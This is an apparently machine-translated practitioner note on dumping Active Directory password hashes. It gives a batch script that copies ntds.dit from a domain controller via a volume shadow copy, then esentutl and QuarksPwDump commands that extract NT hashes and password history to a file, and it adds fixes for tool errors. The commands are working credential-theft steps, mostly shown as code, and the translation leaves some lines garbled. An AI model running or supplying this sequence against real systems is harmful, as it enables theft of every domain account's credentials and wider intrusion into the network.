This article is a number of pit records that are solved in practice, and the process comes from the http://drops.wooyun.org/tips/6617 0x06 final scheme
First look at the original record
1. Using the shadowcopy command line version, write the bat implementation copy Ntds.dit to the current directory.
Shadowcopy.vbs
Setlocal
if not "%callback_script%" = = "" Goto:is_callback
set source_drive_letter=%systemdrive%
set Source_relative_path=\windows\ntds\ntds.dit
set destination_path=%~dp0
@echo ... Determine the scripts to be executed/generated ...
Set callback_script=%~dpnx0
set Temp_generated_script=generatedvarstempscript.cmd
@echo ... Creating the shadow copy ...
" %~dp0vshadow.exe "-script=%temp_generated_script%-exec="%callback_script% "%source_drive_letter%
del/f%TEMP_ generated_script%
@goto: EOF
: Is_callback
setlocal
@echo ... Obtaining the shadow copy device name
... Call%temp_generated_script%
@echo ... Copying from the shadow copy to the destination path
... Copy "%shadow_device_1%\%source_relative_path%"%destination_path%
Reference Link: http://blogs.msdn.com/b/adioltean/archive/2005/01/05/346793.aspx
2. Repair the replicated database
esentutl/p/o Ntds.dit
3. Use Quarkspwdump to read the information directly and export the results to a file
Quarkspwdump.exe-dhb-hist-nt Ntds.dit-o Log.txt
Tips:
QuarksPwDump.exe:Dump various types of Windows credentials without injecting in any process.
SOURCE download link, vs2010 Direct compilation can
Https://github.com/quarkslab/quarkspwdump
Pit A:
The original shadowcopy code in%~dp0vsshadow.exe "will be prompted to find Vsshadow.exe, here write a S.
Pit B:
COM call "M_pvssobject->initializeforbackup ()" failed.
The domain control is 64-bit, and you are running a 32-bit vshadow.exe.
Workaround: Install the Win7 SDK, use the 64-bit Vshadow.exe (available in win2008, win2012) (default location) "C:\Program Files\Microsoft Sdks\windows\v6.1\bin\x64 \vsstools\vshadow.exe ".
Pit C:
SOURCE download link, vs2010 Direct compilation can
Https://github.com/quarkslab/quarkspwdump
The master is shown on the home page, but it is still in version 0.2.
The real release address is (not compiled) quarkspwdump-0.3a
The author compiled version in the execution of the time will display 0.2b, here should be the author did not deal with it, but does not affect our use, as long as the observation whether there are-SF parameters, you can determine whether the new version.
This version resolves the Not enough memory issue
Parsing DataTable ... Fatal Error:not enough memory!